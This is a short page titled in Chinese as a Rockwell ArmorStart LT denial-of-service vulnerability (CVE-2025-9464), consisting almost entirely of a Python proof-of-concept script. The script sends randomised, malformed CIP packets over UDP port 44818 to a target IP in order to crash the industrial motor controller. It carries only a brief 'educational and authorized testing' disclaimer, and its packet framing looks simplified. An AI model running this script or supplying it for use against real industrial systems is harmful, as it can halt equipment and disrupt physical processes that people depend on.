Rockwell ArmorStart LT 拒绝服务漏洞 (CVE-2025-9464)

#!/usr/bin/env python3 """ CVE-2025-9464 PoC - ArmorStart LT CIP Fuzzing DoS Note: This PoC is for educational and authorized testing purposes only. """ import socket import struct import random def create_cip_rr_data_request(service, class_id, instance_id, data=b''): """Create CIP Request data for fuzzing""" # CIP Header cip_data = bytearray() # Service code (Read/Write attribute) cip_data.append(service) # 0x0C for GetAttributeAll, 0x10 for SetAttributeAll # Path (class, instance) cip_data.extend([0x20, class_id]) # Class ID cip_data.extend([0x24, instance_id]) # Instance ID # Add fuzzing data cip_data.extend(data) return bytes(cip_data) def send_cip_fuzz_packet(target_ip, target_port=44818, iterations=100): """Send fuzzed CIP packets to trigger DoS condition""" print(f"[*] Starting CIP fuzzing against {target_ip}:{target_port}") sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) for i in range(iterations): # Generate fuzzed CIP data with various malformed inputs service = random.choice([0x01, 0x04, 0x0C, 0x10, 0x4C, 0x4D]) class_id = random.randint(0x01, 0xFF) instance_id = random.randint(0x01, 0xFF) # Generate random fuzzing payload fuzz_data = bytes([random.randint(0, 255) for _ in range(random.randint(10, 100))]) cip_payload = create_cip_rr_data_request(service, class_id, instance_id, fuzz_data) try: sock.sendto(cip_payload, (target_ip, target_port)) print(f"[*] Sent fuzz packet {i+1}/{iterations}") except Exception as e: print(f"[!] Error sending packet: {e}") sock.close() print("[*] Fuzzing completed") if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python3 cve-2025-9464-poc.py <target_ip>") sys.exit(1) target = sys.argv[1] send_cip_fuzz_packet(target)